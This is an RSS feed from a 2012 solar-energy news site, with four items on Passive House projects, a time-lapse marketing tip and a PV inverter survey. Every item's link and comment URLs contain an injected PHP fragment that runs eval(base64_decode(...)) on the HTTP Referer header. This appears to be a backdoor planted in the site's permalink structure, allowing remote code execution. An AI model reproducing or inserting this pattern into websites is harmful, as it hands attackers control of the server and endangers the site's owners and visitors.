<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Photovoltaic Systems</title>
	<atom:link href="http://photovoltaic-systems.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://photovoltaic-systems.com</link>
	<description>Photovoltaics Latest News and Info</description>
	<lastBuildDate>Sun, 29 Jan 2012 06:12:24 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Efficient Apartments, Hungry Homes, Benefit Corps, + Passive House in Shambles</title>
		<link>http://photovoltaic-systems.com/2012/01/29/efficient-apartments-hungry-homes-benefit-corps-passive-house-in-shambles/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://photovoltaic-systems.com/2012/01/29/efficient-apartments-hungry-homes-benefit-corps-passive-house-in-shambles/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Sun, 29 Jan 2012 06:12:24 +0000</pubDate>
		<dc:creator>Preston</dc:creator>
				<category><![CDATA[Week in Review]]></category>

		<guid isPermaLink="false">http://www.jetsongreen.com/?p=20519</guid>
		<description><![CDATA[Inventive micro homes. New material scrubs CO2 from the air. More dirt on Passive House movement: Part A, Part B. Benefit corporations get a legal boost in California. Energy efficiency in apartments could save $3.4 B. Infographic: the energy-hungry home. Subscribe to our weekly newsletter for updates, article summaries, newsworthy links, and other site news. [...]]]></description>
		<wfw:commentRss>http://photovoltaic-systems.com/2012/01/29/efficient-apartments-hungry-homes-benefit-corps-passive-house-in-shambles/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Passive House Retreat in Rhode Island</title>
		<link>http://photovoltaic-systems.com/2012/01/27/passive-house-retreat-in-rhode-island/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://photovoltaic-systems.com/2012/01/27/passive-house-retreat-in-rhode-island/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Fri, 27 Jan 2012 23:55:13 +0000</pubDate>
		<dc:creator>Preston</dc:creator>
				<category><![CDATA[Residential]]></category>
		<category><![CDATA[Single-family]]></category>
		<category><![CDATA[Passive House]]></category>

		<guid isPermaLink="false">http://www.jetsongreen.com/?p=20507</guid>
		<description><![CDATA[Recently I realized that we neglected to follow up on a Passive House project discussed in pre-construction way back in March 2010. It turns out the New England Passive House, or Little Compton Retreat, received LEED Gold certification from the USGBC in recent months. The background is this is a home by ZeroEnergy Design, who [...]]]></description>
		<wfw:commentRss>http://photovoltaic-systems.com/2012/01/27/passive-house-retreat-in-rhode-island/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Psst! Solar Fred Marketing Tip: Film Your Solar Projects in Time Lapse</title>
		<link>http://photovoltaic-systems.com/2012/01/27/psst-solar-fred-marketing-tip-film-your-solar-projects-in-time-lapse/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://photovoltaic-systems.com/2012/01/27/psst-solar-fred-marketing-tip-film-your-solar-projects-in-time-lapse/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Fri, 27 Jan 2012 20:39:59 +0000</pubDate>
		<dc:creator>Solar Energy News - RenewableEnergyWorld.com</dc:creator>
				<category><![CDATA[solar energy]]></category>

		<guid isPermaLink="false">http://www.renewableenergyworld.com/rea/blog/post/2012/01/psst-solar-fred-marketing-tip-film-your-solar-projects-in-time-lapse?cmpid=rss</guid>
		<description><![CDATA[ 
I have no idea why people love time-lapse videos. Our eyes are certainly attracted to things that move quickly, and for some reason it&#8217;s fun to see people in hardhats and machines building a solar project from nothing, condensing days or weeks...]]></description>
		<wfw:commentRss>http://photovoltaic-systems.com/2012/01/27/psst-solar-fred-marketing-tip-film-your-solar-projects-in-time-lapse/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Survey Reveals Customers&#8217; Wish List for PV Inverter Improvements</title>
		<link>http://photovoltaic-systems.com/2012/01/27/survey-reveals-customers-wish-list-for-pv-inverter-improvements/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://photovoltaic-systems.com/2012/01/27/survey-reveals-customers-wish-list-for-pv-inverter-improvements/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Fri, 27 Jan 2012 18:20:42 +0000</pubDate>
		<dc:creator>Solar Energy News - RenewableEnergyWorld.com</dc:creator>
				<category><![CDATA[solar energy]]></category>
		<category><![CDATA[Solar Tech]]></category>

		<guid isPermaLink="false">http://www.renewableenergyworld.com/rea/news/article/2012/01/survey-reveals-customers-wish-list-for-pv-inverter-improvements?cmpid=rss</guid>
		<description><![CDATA[ System-level monitoring, continued adoption of string inverters for large PV installs, and improvements by Chinese suppliers are among the trends gleaned from a survey of inverter buyers &#38; sellers.]]></description>
		<wfw:commentRss>http://photovoltaic-systems.com/2012/01/27/survey-reveals-customers-wish-list-for-pv-inverter-improvements/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

